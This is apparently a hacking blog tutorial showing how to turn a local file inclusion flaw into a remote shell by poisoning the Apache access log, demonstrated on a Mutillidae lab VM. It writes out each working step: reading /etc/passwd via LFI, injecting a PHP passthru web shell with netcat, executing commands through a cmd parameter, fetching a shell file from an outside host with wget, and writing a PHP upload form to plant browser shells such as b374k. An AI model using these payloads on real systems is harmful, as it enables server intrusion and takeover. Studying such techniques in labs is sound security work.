LFI to shell – exploiting Apache access log

Local file inclusion (LFI) is normally known to be used to extract the contents of different files of the server the site is hosted on. This includes files like passwd, hosts, etc. But have you ever thought about how you could take this to another level? A level where you can initialize reverse shell, get a browser shell on the server (c99, b374k, etc).

Well, this is what I am going to explain in this post 🙂 So let’s no waste any more time, and let’s get hacking instead!

The Setup

I will be using my local pentest setup to walk you through this article. The web application used is Mutillidae. Also your Apache configuration needs to allow directory traversal

<Directory /path/to/document/root>
Options Indexes
</Directory>

Let The Show Begin

We begin by looking for a LFI vulnerability. Right away when clicking a link we see that the url looks like this

/index.php?page=

So let’s try this and see what happens. We will try to load the /etc/passwd so we change the url to be like this…

/index.php?page=/etc/passwd

.. and see what happens

Selection_154

What we can see here now is the content of /etc/passwd on the virtual machine that this web application is running on. You might now be thinking: “So wow, great … This is good and all, but not really any action going on.

I know, but this was to verify that the application actually is vulnerable to LFI. This is a good proof that it is. The next step now is to verify that we actually can work with the Apache access log. We need to be able to load this for this exploit to work.

The location and filename of the access log changes from system to system, but I will be working with /var/log/apache2/access.log

We now modify the URL to say …

/index.php?page=/var/log/apache2/access.log

… which hopefully will load the access log.

Selection_155

Success! We are able to access the log file. So with these things verified it’s time to move over to phase two.

All You Logs Are Belong To Us

Before we move on, let’s make sure that we know what the Apache log is.

The server access log records all requests processed by the server.
Source: http://httpd.apache.org/docs/1.3/logs.html#accesslog

This means that any request we send to the server will be stored here. Interesting 🙂 So let’s exploit it.

We start by opening a terminal, and we will be using netcat to send a GET request to the server. The reason why we’re not using the browser to send this request is because it will url encode our request which will make it useless. The code we will be injecting is

<?php passthru($_GET['cmd']); ?>

A quick description about the passthru() function

passthru — Execute an external program and display raw output
Source: http://php.net/passthru

So let’s get back to the lesson 🙂 To send a request using netcat we execute the following in the terminal

ncat 192.168.56.101 80

Then we need to enter the following

GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.56.101
Connection: close

Note: You must change 192.168.56.101 with your target. This is the IP for my virtual machine

This will in the end look something like this

$ ncat 192.168.56.101 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.56.101
Connection: close

HTTP/1.1 404 Not Found
Date: Mon, 17 Mar 2014 17:34:53 GMT
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/3.0.17 mod_perl/2.0.4 Perl/v5.10.1
Vary: Accept-Encoding
Content-Length: 202
Connection: close
Content-Type: text/html; charset=iso-8859-1

404 Not Found</pre>
<h1>Not Found</h1>
<pre>

The requested URL /< was not found on this server.

Now we need to verify that this is actually working, so we go back to the browser and we add a new parameter to the URL

cmd=

So in our case we will use the id command so our url will look like this

/index.php?page=/var/log/apache2/access.log&cmd=id

Now, we take a look at the output we get. Look carefully and you will see something similar to this

Selection_156

This show’s that we successfully executed a command on the server.

With these proofs our next step is to decide which direction to go from here. The goal now is the same. Get a browser shell onto the server. First approach is to use wget, the second is to inject a upload form. I’ll start with the simplest first which is to use the wget command.

Using wget

Wget is a command that let’s you download a file to the machine. It might not always work, but should always be the first try because it’s easiest 🙂 Change the cmd parameter to look like this

&cmd=wget http://somedomain.com/shellfile.php

This will download the shellfile.php to the server and save it in the current working directory if it’s readable. If you need to save it somewhere else, then you should refer to the wget manual 🙂 By using this method you don’t need the middle step of upload form.

Upload form

That wget doesn’t work does not mean that all hope is lost. This just means a bit of extra work. We will execute the echo command on the server which will write whatever we echo into a file. So modify the cmd parameter to look like the following

<FORM ENCTYPE="multipart/form-data" ACTION=<?php echo "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; ?> METHOD=POST>Send this file: <INPUT NAME="userfile" TYPE="file"><INPUT TYPE="submit" VALUE="Send"></FORM><?php move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"]); ?>

This will create a file on the server with a upload form. Now go to that file, that you just created, in the browser and upload your browser shell from here 🙂

Here you see b374k after successfully uploading it to my mutillidae installation 🙂

Selection_157

Recap

Ok, let’s go through the steps again quickly

1) Verify the LFI vulnerability by grabbing the passwd, hosts, etc, files
2) Verify that you have access to the access log by including it through LFI
3) Use netcat or something similar to send the mailicious request
4) Verify code execution by testing some simple command like id, whoami, etc
5) Use either wget or write a upload form to the server to get the browser shell onto the server
6) Visit the browser shell to verify success.

Conclusion

Just because it’s not a super high risk vulnerability by itself, LFI can under the correct circumstances be extremely dangerous.

The End

That’s it! We’ve just gone from LFI to shell in a few simple steps. Thanks for reading and I hope you enjoyed this post. Please feel free to leave a comment if you have any questions, suggestions, or just feel like saying something 🙂

Advertisement

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s